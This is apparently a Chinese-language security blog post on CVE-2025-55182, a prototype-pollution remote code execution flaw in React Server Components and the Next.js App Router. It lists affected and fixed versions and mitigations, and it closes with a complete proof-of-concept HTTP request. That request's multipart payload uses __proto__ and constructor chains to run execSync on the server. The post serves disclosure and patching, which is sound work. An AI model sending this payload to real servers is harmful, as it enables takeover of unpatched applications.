CVE-2025-55182-POC高危漏洞（React Server Components ）技术分析与修复指南（next-router通杀漏洞！）

原创已于 2025-12-05 18:27:22 修改 · 378 阅读

15 ·

CC 4.0 BY-SA版权

文章标签：

#react.js #CVE-2025-55182 #漏洞复现 #天枢一体化虚拟仿真靶场平台

于 2025-12-05 17:30:27 首次发布

一、漏洞核心信息

项目	详情
漏洞编号	CVE-2025-55182
影响组件	React Server Components（RSC）相关套件、React-Server-DOM、Next.js App Router
漏洞级别	CVSS 10.0 （最高严重级别）
核心成因	React 解析客户端 Flight 协议数据时缺少验证，通过原型污染（Prototype Pollution）伪造 Server Action 调用
利用特点	无需认证、无需依赖 SSRF/CSRF、单请求触发、影响默认配置
漏洞类型	远程代码执行（RCE）、原型污染

二、漏洞危害范围

攻击者可通过构造恶意请求实现：

远程执行任意 JavaScript 代码（如反弹 Shell、植入挖矿程序）
控制服务器文件读写（窃取配置文件、源代码、数据库备份）
触发任意数据库操作（删库、篡改数据、窃取用户隐私信息）
接管整个服务器运行时环境（创建管理员账号、横向渗透内网）
典型受影响场景：电商后台、CMS 系统、用户中心、Admin 管理面板等基于 Next.js + RSC 开发的应用

三、受影响版本

3.1、React 相关套件

受影响版本：React 19.0、19.1、19.2
关联组件：React-Server-DOM、React-Server-DOM-Webpack

3.2、Next.js

受影响版本： 15.x系列（15.0.x~15.5.x）、16.X 全系列、14.3.0-canary.77及以后的试验版

3.3、漏洞触发必要条件

项目需同时满足：

使用React 19或兼容RSC的React-Server-DOM；
使用Next.js（15.x/16.x/受影响Canary）+ App Router + 启用RSC/Server Components。

四、修复方案

4.1、优先级措施

优先级	建议措施	说明
⭐ 必须	升级至安全版本	官方已发布修复，升级是最直接有效的方案
⭐ 推荐	启用Server Action校验机制	仅允许调用已声明的Server Action，阻止任意函数注入
⭐ 建议	为敏感Server Action添加请求验证	如Token、HMAC或用户上下文绑定，增强请求合法性校验
⚠ 可选	限制接口访问边界	通过RBAC、IP限制、网关鉴权等减少攻击面
❌ 不推荐	仅依赖WAF过滤Flight Payload	Flight数据支持压缩、Base64、Chunk编码，WAF难以可靠检测

4.2 已修复版本

组件	安全版本范围
React/React-DOM/React Server DOM	≥ 19.0.1（含19.0.1/19.1.1/19.2.1）
Next.js	≥ 16.0.7

五、POC与复现验证

5.1 原始POC请求

原始POC请求：

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{"then":"$B1337"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--